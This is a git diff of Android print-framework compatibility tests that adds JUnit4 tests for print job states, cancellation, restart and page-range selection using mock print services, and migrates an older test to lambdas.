+        testCase(false, null, PAGESS[1], null, true, null, null, null);
+    }
 }
diff --git a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
new file mode 100644
index 0000000..37eab57
--- /dev/null
+++ b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
@@ -0,0 +1,387 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.cts;
+
+import android.print.PrintAttributes;
+import android.print.PrintDocumentAdapter;
+import android.print.PrintJob;
+import android.print.PrintJobInfo;
+import android.print.PrinterCapabilitiesInfo;
+import android.print.PrinterId;
+import android.print.PrinterInfo;
+import android.print.cts.services.FirstPrintService;
+import android.print.cts.services.PrintServiceCallbacks;
+import android.print.cts.services.PrinterDiscoverySessionCallbacks;
+import android.print.cts.services.SecondPrintService;
+import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.support.annotation.NonNull;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+import static android.print.cts.Utils.*;
+import static org.junit.Assert.*;
+
+/**
+ * Test interface from the application to the print service.
+ */
+@RunWith(AndroidJUnit4.class)
+public class InterfaceForAppsTest extends BasePrintTest {
+    private static final String TEST_PRINTER = "Test printer";
+    private static final String LOG_TAG = "InterfaceForAppsTest";
+
+    private static final PrintAttributes.Resolution TWO_HUNDRED_DPI =
+            new PrintAttributes.Resolution("200x200", "200dpi", 200, 200);
+    private static boolean sHasBeenSetUp;
+
+    /**
+     * Create a mock {@link PrinterDiscoverySessionCallbacks} that discovers a simple test printer.
+     *
+     * @return The mock session callbacks
+     */
+    private @NonNull PrinterDiscoverySessionCallbacks createFirstMockPrinterDiscoverySessionCallbacks() {
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            StubbablePrinterDiscoverySession session = ((PrinterDiscoverySessionCallbacks) invocation
+                    .getMock()).getSession();
+
+            if (session.getPrinters().isEmpty()) {
+                PrinterId printerId = session.getService().generatePrinterId(TEST_PRINTER);
+                PrinterInfo.Builder printer = new PrinterInfo.Builder(
+                        session.getService().generatePrinterId(TEST_PRINTER), TEST_PRINTER,
+                        PrinterInfo.STATUS_IDLE);
+
+                printer.setCapabilities(new PrinterCapabilitiesInfo.Builder(printerId)
+                        .addMediaSize(PrintAttributes.MediaSize.ISO_A5, true)
+                        .addMediaSize(PrintAttributes.MediaSize.ISO_A3, false)
+                        .addResolution(TWO_HUNDRED_DPI, true)
+                        .setColorModes(PrintAttributes.COLOR_MODE_MONOCHROME
+                                        | PrintAttributes.COLOR_MODE_COLOR,
+                                PrintAttributes.COLOR_MODE_MONOCHROME)
+                        .setDuplexModes(PrintAttributes.DUPLEX_MODE_NONE
+                                        | PrintAttributes.DUPLEX_MODE_LONG_EDGE,
+                                PrintAttributes.DUPLEX_MODE_NONE)
+                        .setMinMargins(new PrintAttributes.Margins(0, 0, 0, 0)).build());
+
+                ArrayList<PrinterInfo> printers = new ArrayList<>(1);
+                printers.add(printer.build());
+
+                session.addPrinters(printers);
+            }
+            return null;
+        }, null, null, invocation -> null, null, null, invocation -> {
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
+        });
+    }
+
+    /**
+     * Create mock service callback for a session. Once the job is queued the test function is
+     * called.
+     *
+     * @param sessionCallbacks The callbacks of the session
+     * @param blockAfterState  The state the print services should progress to
+     */
+    private @NonNull PrintServiceCallbacks createFirstMockPrinterServiceCallbacks(
+            final @NonNull PrinterDiscoverySessionCallbacks sessionCallbacks, int blockAfterState) {
+        return createMockPrintServiceCallbacks(
+                invocation -> sessionCallbacks, invocation -> {
+                    android.printservice.PrintJob job = (android.printservice.PrintJob) invocation
+                            .getArguments()[0];
+
+                    switch (blockAfterState) {
+                        case PrintJobInfo.STATE_CREATED:
+                            eventually(() -> assertEquals(PrintJobInfo.STATE_CREATED,
+                                    job.getInfo().getState()));
+                            break;
+                        case PrintJobInfo.STATE_STARTED:
+                            eventually(() -> assertTrue(job.isQueued()));
+                            job.start();
+                            break;
+                        case PrintJobInfo.STATE_QUEUED:
+                            eventually(() -> assertTrue(job.isQueued()));
+                            break;
+                        case PrintJobInfo.STATE_BLOCKED:
+                            eventually(() -> assertTrue(job.isQueued()));
+                            job.start();
+                            job.block("test block");
+                            break;
+                        case PrintJobInfo.STATE_FAILED:
+                            eventually(() -> assertTrue(job.isQueued()));
+                            job.start();
+                            job.fail("test fail");
+                            break;
+                        case PrintJobInfo.STATE_COMPLETED:
+                            eventually(() -> assertTrue(job.isQueued()));
+                            job.start();
+                            job.complete();
+                            break;
+                        default:
+                            throw new Exception("Should not be reached");
+                    }
+
+                    return null;
+                }, invocation -> {
+                    android.printservice.PrintJob job = (android.printservice.PrintJob) invocation
+                            .getArguments()[0];
+
+                    job.cancel();
+                    Log.d(LOG_TAG, "job.cancel()");
+
+                    return null;
+                });
+    }
+
+    /**
+     * Setup mock print subsystem
+     *
+     * @param blockAfterState Tell the print service to block all print jobs at this state
+     *
+     * @return The print document adapter to be used for printing
+     */
+    private @NonNull PrintDocumentAdapter setupPrint(int blockAfterState) {
+        // Create the session of the printers that we will be checking.
+        PrinterDiscoverySessionCallbacks sessionCallbacks = createFirstMockPrinterDiscoverySessionCallbacks();
+
+        // Create the service callbacks for the first print service.
+        PrintServiceCallbacks serviceCallbacks = createFirstMockPrinterServiceCallbacks(
+                sessionCallbacks, blockAfterState);
+
+        // Configure the print services.
+        FirstPrintService.setCallbacks(serviceCallbacks);
+
+        // We don't use the second service, but we have to still configure it
+        SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
+
+        return createDefaultPrintDocumentAdapter(1);
+    }
+
+    @Before
+    public void setPrinter() throws Exception {
+        if (!sHasBeenSetUp) {
+            resetCounters();
+            PrintDocumentAdapter adapter = setupPrint(PrintJobInfo.STATE_COMPLETED);
+            makeDefaultPrinter(adapter, TEST_PRINTER);
+
+            sHasBeenSetUp = true;
+        }
+
+        resetCounters();
+    }
+
+    /**
+     * Base test for all cancel print job tests
+     *
+     * @param cancelAfterState The print job state state to progress to canceling
+     * @param printJobName     The print job name to use
+     *
+     * @throws Exception If anything is unexpected
+     */
+    private void cancelPrintJobBaseTest(int cancelAfterState, @NonNull String printJobName)
+            throws Throwable {
+        PrintDocumentAdapter adapter = setupPrint(cancelAfterState);
+
+        print(adapter, printJobName);
+        waitForWriteAdapterCallback(1);
+        clickPrintButton();
+
+        PrintJob job = getPrintJob(getPrintManager(getActivity()), printJobName);
+
+        // Check getState
+        eventually(() -> assertEquals(cancelAfterState, job.getInfo().getState()));
+
+        // Check
+        switch (cancelAfterState) {
+            case PrintJobInfo.STATE_QUEUED:
+                assertTrue(job.isQueued());
+                break;
+            case PrintJobInfo.STATE_STARTED:
+                assertTrue(job.isStarted());
+                break;
+            case PrintJobInfo.STATE_BLOCKED:
+                assertTrue(job.isBlocked());
+                break;
+            case PrintJobInfo.STATE_COMPLETED:
+                assertTrue(job.isCompleted());
+                break;
+            case PrintJobInfo.STATE_FAILED:
+                assertTrue(job.isFailed());
+                break;
+            case PrintJobInfo.STATE_CANCELED:
+                assertTrue(job.isCancelled());
+                break;
+        }
+
+        job.cancel();
+        eventually(() -> assertTrue(job.isCancelled()));
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Test
+    public void attemptCancelCreatedPrintJob() throws Throwable {
+        PrintDocumentAdapter adapter = setupPrint(PrintJobInfo.STATE_STARTED);
+
+        print(adapter, "testAttemptCancelCreatedPrintJob");
+        waitForWriteAdapterCallback(1);
+
+        PrintJob job = getPrintJob(getPrintManager(getActivity()),
+                "testAttemptCancelCreatedPrintJob");
+
+        // Cancel does not have an effect on created jobs
+        job.cancel();
+        eventually(() -> assertEquals(PrintJobInfo.STATE_CREATED, job.getInfo().getState()));
+
+        // Cancel printing by exiting print activity
+        getUiDevice().pressBack();
+        eventually(() -> assertTrue(job.isCancelled()));
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Test
+    public void cancelStartedPrintJob() throws Throwable {
+        cancelPrintJobBaseTest(PrintJobInfo.STATE_STARTED, "testCancelStartedPrintJob");
+    }
+
+    @Test
+    public void cancelBlockedPrintJob() throws Throwable {
+        cancelPrintJobBaseTest(PrintJobInfo.STATE_BLOCKED, "testCancelBlockedPrintJob");
+    }
+
+    @Test
+    public void cancelFailedPrintJob() throws Throwable {
+        cancelPrintJobBaseTest(PrintJobInfo.STATE_FAILED, "testCancelFailedPrintJob");
+    }
+
+    @Test
+    public void restartFailedPrintJob() throws Throwable {
+        PrintDocumentAdapter adapter = setupPrint(PrintJobInfo.STATE_FAILED);
+
+        print(adapter, "testRestartFailedPrintJob");
+        waitForWriteAdapterCallback(1);
+        clickPrintButton();
+
+        PrintJob job = getPrintJob(getPrintManager(getActivity()), "testRestartFailedPrintJob");
+
+        eventually(() -> assertTrue(job.isFailed()));
+
+        // Restart goes from failed right to queued, so stop the print job at "queued" now
+        setupPrint(PrintJobInfo.STATE_QUEUED);
+
+        job.restart();
+        eventually(() -> assertTrue(job.isQueued()));
+
+        job.cancel();
+        eventually(() -> assertTrue(job.isCancelled()));
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Test
+    public void getTwoPrintJobStates() throws Throwable {
+        PrintDocumentAdapter adapter = setupPrint(PrintJobInfo.STATE_BLOCKED);
+
+        print(adapter, "testGetTwoPrintJobStates-block");
+        waitForWriteAdapterCallback(1);
+        clickPrintButton();
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+
+        PrintJob job1 = getPrintJob(getPrintManager(getActivity()),
+                "testGetTwoPrintJobStates-block");
+        eventually(() -> assertTrue(job1.isBlocked()));
+
+        adapter = setupPrint(PrintJobInfo.STATE_COMPLETED);
+        print(adapter, "testGetTwoPrintJobStates-complete");
+        waitForWriteAdapterCallback(2);
+        clickPrintButton();
+
+        PrintJob job2 = getPrintJob(getPrintManager(getActivity()),
+                "testGetTwoPrintJobStates-complete");
+        eventually(() -> assertTrue(job2.isCompleted()));
+
+        // Ids have to be unique
+        assertFalse(job1.getId().equals(job2.getId()));
+        assertFalse(job1.equals(job2));
+
+        // Ids have to be the same in job and info and if we find the same job again
+        assertEquals(job1.getId(), job1.getInfo().getId());
+        assertEquals(job1.getId(),
+                getPrintJob(getPrintManager(getActivity()),
+                        "testGetTwoPrintJobStates-block").getId());
+        assertEquals(job1, getPrintJob(getPrintManager(getActivity()),
+                "testGetTwoPrintJobStates-block"));
+        assertEquals(job2.getId(), job2.getInfo().getId());
+        assertEquals(job2.getId(), getPrintJob(getPrintManager(getActivity()),
+                "testGetTwoPrintJobStates-complete").getId());
+        assertEquals(job2, getPrintJob(getPrintManager(getActivity()),
+                "testGetTwoPrintJobStates-complete"));
+
+        // First print job should still be there
+        PrintJob job1again = getPrintJob(getPrintManager(getActivity()),
+                "testGetTwoPrintJobStates-block");
+        assertTrue(job1again.isBlocked());
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(2);
+    }
+
+    @Test
+    public void changedPrintJobInfo() throws Throwable {
+        PrintDocumentAdapter adapter = setupPrint(PrintJobInfo.STATE_COMPLETED);
+
+        long beforeStart = System.currentTimeMillis();
+        print(adapter, "testPrintJobInfo");
+        waitForWriteAdapterCallback(1);
+        long afterStart = System.currentTimeMillis();
+
+        PrintJob job = getPrintJob(getPrintManager(getActivity()), "testPrintJobInfo");
+
+        // Set some non default options
+        openPrintOptions();
+        changeCopies(2);
+        changeColor(getPrintSpoolerStringArray("color_mode_labels")[1]);
+        // Leave duplex as default to test that defaults are retained
+        changeMediaSize(
+                PrintAttributes.MediaSize.ISO_A3.getLabel(getActivity().getPackageManager()));
+        changeOrientation(getPrintSpoolerStringArray("orientation_labels")[1]);
+
+        // Print and wait until it is completed
+        clickPrintButton();
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+        eventually(job::isCompleted);
+
+        // Make sure all options were applied
+        assertEquals(TEST_PRINTER, job.getInfo().getPrinterId().getLocalId());
+        assertEquals(2, job.getInfo().getCopies());
+        assertEquals(PrintAttributes.COLOR_MODE_COLOR,
+                job.getInfo().getAttributes().getColorMode());
+        assertEquals(PrintAttributes.DUPLEX_MODE_NONE,
+                job.getInfo().getAttributes().getDuplexMode());
+        assertEquals(PrintAttributes.MediaSize.ISO_A3.asLandscape(),
+                job.getInfo().getAttributes().getMediaSize());
+        assertEquals(TWO_HUNDRED_DPI, job.getInfo().getAttributes().getResolution());
+
+        // Check creation time with 5 sec jitter allowance
+        assertTrue(beforeStart - 5000 <= job.getInfo().getCreationTime());
+        assertTrue(job.getInfo().getCreationTime() <= afterStart + 5000);
+    }
+}
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
new file mode 100644
index 0000000..f128bab
--- /dev/null
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
@@ -0,0 +1,407 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.cts;
+
+import static android.graphics.pdf.PdfRenderer.Page.RENDER_MODE_FOR_PRINT;
+import static android.os.ParcelFileDescriptor.MODE_READ_ONLY;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Paint;
+import android.graphics.Rect;
+import android.graphics.pdf.PdfDocument;
+import android.graphics.pdf.PdfRenderer;
+import android.os.ParcelFileDescriptor;
+import android.print.PageRange;
+import android.print.PrintAttributes;
+import android.print.PrintDocumentAdapter;
+import android.print.PrintDocumentInfo;
+import android.print.PrinterCapabilitiesInfo;
+import android.print.PrinterId;
+import android.print.PrinterInfo;
+import android.print.cts.services.FirstPrintService;
+import android.print.cts.services.PrintServiceCallbacks;
+import android.print.cts.services.PrinterDiscoverySessionCallbacks;
+import android.print.cts.services.SecondPrintService;
+import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.pdf.PrintedPdfDocument;
+import android.printservice.PrintJob;
+import android.printservice.PrintService;
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * Adjust the pages to print and verify that the right pages were printed
+ */
+@RunWith(Parameterized.class)
+public class PageRangeAdjustAndVerify extends BasePrintTest {
+    private static final String LOG_TAG = PageRangeAdjustAndVerify.class.getSimpleName();
+
+    private static final String FIRST_PRINTER = "First printer";
+
+    private static boolean sIsDefaultPrinterSet;
+
+    private final int[] mSelectedPages;
+    private final int mNumPages;
+    private final boolean mReportNumPagesFromLayout;
+    private final boolean mWriteAllPages;
+
+    @Before
+    public void setDefaultPrinter() throws Exception {
+        if (!sIsDefaultPrinterSet) {
+            // Create a callback for the target print service.
+            PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+                    invocation -> createMockFirstPrinterDiscoverySessionCallbacks(),
+                    invocation -> {
+                        PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                        printJob.complete();
+                        return null;
+                    }, null);
+
+            // Configure the print services.
+            FirstPrintService.setCallbacks(firstServiceCallbacks);
+            SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+            // Create a mock print adapter.
+            final PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+            makeDefaultPrinter(adapter, FIRST_PRINTER);
+            resetCounters();
+
+            sIsDefaultPrinterSet = true;
+        }
+    }
+
+    @Parameterized.Parameters
+    public static Collection<Object[]> getParameters() {
+        ArrayList<Object[]> parameters = new ArrayList<>();
+
+        for (int reportNumPagesFromLayout = 0; reportNumPagesFromLayout < 2;
+                reportNumPagesFromLayout++) {
+            for (int writeAllPages = 0; writeAllPages < 2; writeAllPages++) {
+                for (int numPages = 5; numPages <= 100; numPages += 95) {
+                    for (int firstGap = 0; firstGap < 3; firstGap++) {
+                        for (int secondGap = 0; secondGap < 2; secondGap++) {
+                            for (int thirdGap = 0; thirdGap < 2; thirdGap++) {
+                                int[] selectedPages = new int[3];
+
+                                if (firstGap == 0) {
+                                    selectedPages[0] = 0;
+                                } else if (firstGap == 1) {
+                                    selectedPages[0] = 1;
+                                } else {
+                                    if (numPages == 5) {
+                                        continue;
+                                    } else {
+                                        selectedPages[0] = 52;
+                                    }
+                                }
+
+                                if (secondGap == 0) {
+                                    selectedPages[1] = selectedPages[0] + 1;
+                                } else {
+                                    selectedPages[1] = selectedPages[0] + 2;
+                                }
+
+                                if (thirdGap == 0) {
+                                    selectedPages[2] = selectedPages[1] + 1;
+                                } else {
+                                    selectedPages[2] = numPages - 1;
+                                }
+
+                                if (selectedPages[1] < selectedPages[2]
+                                        && selectedPages[2] <= numPages - 1
+                                        && (numPages == 5 || selectedPages[2] >= 50)) {
+                                    parameters.add(
+                                            new Object[]{numPages, reportNumPagesFromLayout != 0,
+                                                    writeAllPages != 0, selectedPages});
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        return parameters;
+    }
+
+    public PageRangeAdjustAndVerify(int numPages, boolean reportNumPagesFromLayout,
+            boolean writeAllPages, int[] selectedPages) {
+        mNumPages = numPages;
+        mReportNumPagesFromLayout = reportNumPagesFromLayout;
+        mWriteAllPages = writeAllPages;
+        mSelectedPages = selectedPages;
+    }
+
+    private boolean pageRangeContains(@NonNull PageRange[] pagesRanges, int pageNumber) {
+        for (PageRange pageRange : pagesRanges) {
+            if (pageRange.equals(PageRange.ALL_PAGES)
+                    || pageRange.getStart() <= pageNumber && pageNumber <= pageRange.getEnd()) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    @Test
+    public void adjustPageRangeAndVerifyPages() throws Throwable {
+        Log.i(LOG_TAG, "mNumPages=" + mNumPages + " mReportNumPagesFromLayout="
+                + mReportNumPagesFromLayout + " mWriteAllPages=" + mWriteAllPages
+                + " mSelectedPages=" + Arrays.toString(mSelectedPages));
+
+        // Create a callback for the target print service.
+        PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+                invocation -> createMockFirstPrinterDiscoverySessionCallbacks(),
+                invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+
+                    assertEquals(mSelectedPages.length,
+                            printJob.getDocument().getInfo().getPageCount());
+                    assertArrayEquals(new PageRange[]{PageRange.ALL_PAGES},
+                            printJob.getInfo().getPages());
+
+                    ParcelFileDescriptor original = printJob.getDocument().getData();
+
+                    // Copy in file
+                    File copy = File.createTempFile("tmp", ".pdf", getActivity().getFilesDir());
+                    Log.i(LOG_TAG, "File is " + copy);
+
+                    try (FileInputStream in = new FileInputStream(original.getFileDescriptor());
+                         FileOutputStream out = new FileOutputStream(copy)) {
+                        byte[] buffer = new byte[1024];
+                        while (true) {
+                            int numRead = in.read(buffer);
+
+                            if (numRead == -1) {
+                                break;
+                            }
+
+                            out.write(buffer, 0, numRead);
+                        }
+                    }
+                    original.close();
+
+                    printJob.start();
+
+                    // Verify that the selected pages are colored correctly
+                    try (PdfRenderer renderer = new PdfRenderer(ParcelFileDescriptor.open(copy,
+                            MODE_READ_ONLY))) {
+                        assertEquals(mSelectedPages.length, renderer.getPageCount());
+
+                        Bitmap rendering = Bitmap.createBitmap(50, 50, Bitmap.Config.ARGB_8888);
+
+                        for (int i = 0; i < 3; i++) {
+                            try (PdfRenderer.Page page = renderer.openPage(i)) {
+                                page.render(rendering, null, null, RENDER_MODE_FOR_PRINT);
+                            }
+
+                            int color;
+                            switch (i) {
+                                case 0:
+                                    color = 0xffff0000;
+                                    break;
+                                case 1:
+                                    color = 0xff00ff00;
+                                    break;
+                                case 2:
+                                    color = 0xff0000ff;
+                                    break;
+                                default:
+                                    color = 0xffffffff;
+                                    break;
+                            }
+
+                            assertEquals(mSelectedPages[i] + "@" + i, color,
+                                    rendering.getPixel(25, 25));
+                        }
+
+                        rendering.recycle();
+                    }
+
+                    printJob.complete();
+
+                    onPrintJobQueuedCalled();
+                    return null;
+                }, null);
+
+        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+
+        FirstPrintService.setCallbacks(firstServiceCallbacks);
+        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    boolean changed = !Objects.equals(printAttributes[0],
+                            invocation.getArguments()[1]);
+
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+
+                    PrintDocumentInfo.Builder docBuilder =
+                            new PrintDocumentInfo.Builder(PRINT_JOB_NAME);
+                    if (mReportNumPagesFromLayout) {
+                        docBuilder.setPageCount(mNumPages);
+                    }
+
+                    ((PrintDocumentAdapter.LayoutResultCallback) invocation.getArguments()[3])
+                            .onLayoutFinished(
+                                    docBuilder.build(), changed);
+
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] requestedPageRanges = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    PrintDocumentAdapter.WriteResultCallback
+                            callback = (PrintDocumentAdapter.WriteResultCallback) args[3];
+
+                    // Remember which pages to create
+                    boolean[] pagesToPrint = new boolean[mNumPages];
+                    for (int pageNumber = 0; pageNumber < mNumPages; pageNumber++) {
+                        if (pageRangeContains(requestedPageRanges, pageNumber)) {
+                            pagesToPrint[pageNumber] = true;
+                        }
+                    }
+
+                    PrintedPdfDocument document = new PrintedPdfDocument(getActivity(),
+                            printAttributes[0]);
+
+                    Paint paint = new Paint();
+                    paint.setStyle(Paint.Style.FILL);
+
+                    // Create pages
+                    ArrayList<PageRange> printedPages = new ArrayList<>();
+
+                    for (int pageNumber = 0; pageNumber < mNumPages; pageNumber++) {
+                        if (!mWriteAllPages && !pagesToPrint[pageNumber]) {
+                            continue;
+                        }
+
+                        printedPages.add(new PageRange(pageNumber, pageNumber));
+
+                        int color = 0xffffffff;
+                        if (pageNumber == mSelectedPages[0]) {
+                            color = 0xffff0000;
+                        } else if (pageNumber == mSelectedPages[1]) {
+                            color = 0xff00ff00;
+                        } else if (pageNumber == mSelectedPages[2]) {
+                            color = 0xff0000ff;
+                        }
+
+                        PdfDocument.Page page = document.startPage(pageNumber);
+
+                        // Color selected pages
+                        if (color != 0xffffffff) {
+                            Canvas canvas = page.getCanvas();
+                            paint.setColor(color);
+                            canvas.drawRect(new Rect(0, 0, canvas.getWidth(), canvas.getHeight()),
+                                    paint);
+                        }
+
+                        document.finishPage(page);
+                    }
+
+                    try (FileOutputStream fos = new FileOutputStream(fd.getFileDescriptor())) {
+                        document.writeTo(fos);
+                        fos.flush();
+                        document.close();
+                    }
+
+                    fd.close();
+
+                    callback.onWriteFinished(
+                            printedPages.toArray(new PageRange[printedPages.size()]));
+
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    onFinishCalled();
+                    return null;
+                });
+
+        print(adapter);
+        waitForWriteAdapterCallback(1);
+
+        openPrintOptions();
+        selectPages((mSelectedPages[0] + 1) + ", " + (mSelectedPages[1] + 1) + ", "
+                + (mSelectedPages[2] + 1), mNumPages);
+
+        clickPrintButton();
+        waitForAdapterFinishCallbackCalled();
+        waitForServiceOnPrintJobQueuedCallbackCalled(1);
+    }
+
+    private PrinterDiscoverySessionCallbacks createMockFirstPrinterDiscoverySessionCallbacks() {
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            PrinterDiscoverySessionCallbacks mock = (PrinterDiscoverySessionCallbacks)
+                    invocation.getMock();
+
+            StubbablePrinterDiscoverySession session = mock.getSession();
+            PrintService service = session.getService();
+
+            if (session.getPrinters().isEmpty()) {
+                List<PrinterInfo> printers = new ArrayList<>();
+
+                // Add one printer.
+                PrinterId firstPrinterId = service.generatePrinterId("first_printer");
+                PrinterCapabilitiesInfo firstCapabilities =
+                        new PrinterCapabilitiesInfo.Builder(firstPrinterId)
+                                .addMediaSize(PrintAttributes.MediaSize.ISO_A4, true)
+                                .addResolution(new PrintAttributes.Resolution("300x300", "300x300",
+                                        300, 300), true)
+                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                        PrintAttributes.COLOR_MODE_COLOR)
+                                .build();
+                PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
+                        FIRST_PRINTER, PrinterInfo.STATUS_IDLE)
+                        .setCapabilities(firstCapabilities)
+                        .build();
+                printers.add(firstPrinter);
+
+                session.addPrinters(printers);
+            }
+
+            return null;
+        }, null, null, null, null, null, invocation -> {
+                onPrinterDiscoverySessionDestroyCalled();
+                return null;
+            });
+    }
+
+    private PrintServiceCallbacks createSecondMockPrintServiceCallbacks() {
+        return createMockPrintServiceCallbacks(null, null, null);
+    }
+}
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
index df142b9..0364624 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
@@ -16,6 +16,7 @@
 
 package android.print.cts;
 
+import static org.junit.Assert.*;
 import static org.mockito.Matchers.any;
 import static org.mockito.Mockito.inOrder;
 import static org.mockito.Mockito.never;
@@ -41,13 +42,12 @@
 import android.print.cts.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiSelector;
 
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.mockito.InOrder;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -57,81 +57,61 @@
  * page ranges to be printed depending whether the app gave
  * the requested pages, more pages, etc.
  */
+@RunWith(AndroidJUnit4.class)
 public class PageRangeAdjustmentTest extends BasePrintTest {
 
     private static final int MAX_PREVIEW_PAGES_BATCH = 50;
     private static final int PAGE_COUNT = 60;
     private static final String FIRST_PRINTER = "First printer";
 
-    public void testAllPagesWantedAndAllPagesWritten() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
+    private static boolean sIsDefaultPrinterSet;
 
+    @Before
+    public void setDefaultPrinter() throws Exception {
+        if (!sIsDefaultPrinterSet) {
+            // Create a callback for the target print service.
+            PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+                    invocation -> createMockFirstPrinterDiscoverySessionCallbacks(),
+                    invocation -> {
+                        PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                        printJob.complete();
+                        return null;
+                    }, null);
+
+            // Configure the print services.
+            FirstPrintService.setCallbacks(firstServiceCallbacks);
+            SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+            // Create a mock print adapter.
+            final PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(PAGE_COUNT);
+
+            makeDefaultPrinter(adapter, FIRST_PRINTER);
+            resetCounters();
+
+            sIsDefaultPrinterSet = true;
+        }
+    }
+
+    @Test
+    public void allPagesWantedAndAllPagesWritten() throws Exception {
         // Create a callback for the target print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-            new Answer<PrinterDiscoverySessionCallbacks>() {
-            @Override
-            public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                    return createMockFirstPrinterDiscoverySessionCallbacks();
-                }
-            },
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                PrintJob printJob = (PrintJob) invocation.getArguments()[0];
-                PageRange[] pages = printJob.getInfo().getPages();
-                assertTrue(pages.length == 1 && PageRange.ALL_PAGES.equals(pages[0]));
-                printJob.complete();
-                onPrintJobQueuedCalled();
-                return null;
-            }
-        }, null);
-
-        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+                invocation -> createMockFirstPrinterDiscoverySessionCallbacks(),
+                invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                    PageRange[] pages = printJob.getInfo().getPages();
+                    assertTrue(pages.length == 1 && PageRange.ALL_PAGES.equals(pages[0]));
+                    printJob.complete();
+                    onPrintJobQueuedCalled();
+                    return null;
+                }, null);
 
         // Configure the print services.
         FirstPrintService.setCallbacks(firstServiceCallbacks);
